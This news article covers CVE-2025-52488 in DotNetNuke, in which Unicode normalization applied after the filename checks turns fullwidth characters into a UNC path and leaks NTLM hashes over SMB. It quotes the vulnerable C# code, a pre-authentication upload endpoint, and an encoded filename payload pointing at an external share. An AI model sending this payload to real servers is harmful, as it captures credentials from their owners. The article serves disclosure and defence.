Critical DNN Vulnerability: Unicode Normalization Bypass Leads to NTLM Hijack

DotNetNuke (DNN), a widely adopted open-source content management system built in C# (.NET), has long been a staple for enterprise web platforms.

Despite significant security hardening, a new vulnerability—CVE-2025-52488—was recently uncovered, demonstrating how intricate interactions between Windows, .NET, and Unicode normalization can be leveraged for credential theft.

File System Operations in C# and the SMB Trap

In the Windows ecosystem, file system operations in .NET are inherently risky when user input is involved.

If an attacker can inject a UNC path (e.g., \\attacker\share) into a file operation, the system may initiate an SMB connection to an external server, inadvertently leaking NTLM credentials.

Functions such as File.Exists, System.Net.HttpRequest, and System.Net.WebClient are common “sinks” where this risk materializes.

Example of a risky sink:

csharpif (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))
{
    // ...
}

If fileName is attacker-controlled and contains a UNC path, Windows will attempt to access the remote share, sending NTLM hashes in the process.

Path.Combine and Unicode Normalization:

A critical nuance in C# is how Path.Combine handles absolute paths.

If the second argument is an absolute path, the first argument is ignored, potentially allowing attackers to bypass intended directory restrictions.

Key behavior:

Unicode normalization further complicates security. DNN’s file upload logic included a sanitization step:

csharpfileName = Utility.ConvertUnicodeChars(fileName);

This function normalizes Unicode characters to ASCII, but if performed after security checks, it can reintroduce forbidden characters.

For example, the Unicode character U+FF0E (FULLWIDTH FULL STOP, ．) is normalized to a period (.), and U+FF3C (FULLWIDTH REVERSE SOLIDUS, ＼) becomes a backslash ($$.

Relevant code:

csharpinput = Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input));

An attacker could craft a filename using these Unicode characters, which would bypass earlier filters but, after normalization, become a malicious path.

Real-World Exploitation and Impact

By submitting a file with a specially crafted filename, an attacker could trigger an SMB request to an external server, capturing NTLM hashes.

The exploit is possible pre-authentication at the following endpoint:

textPOST /Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx?PortalID=0&storageFolderID=1&overrideFiles=false

Sample payload:

textfilename="%EF%BC%BC%EF%BC%BCexample%EF%BC%8Ecom%EF%BC%BCshare.jpg"

After normalization, this becomes a path like \\example.com\share.jpg, causing the Windows server to leak credentials.

CVE-2025-52488 is a potent reminder that even well-defended applications can be undermined by subtle language and platform behaviors.

Developers must remain vigilant about the order of input validation and normalization, especially when dealing with file paths and Unicode, to prevent similar vulnerabilities in the future.

Find this Story Interesting! Follow us on Google News, LinkedIn, and X to Get More Instant updates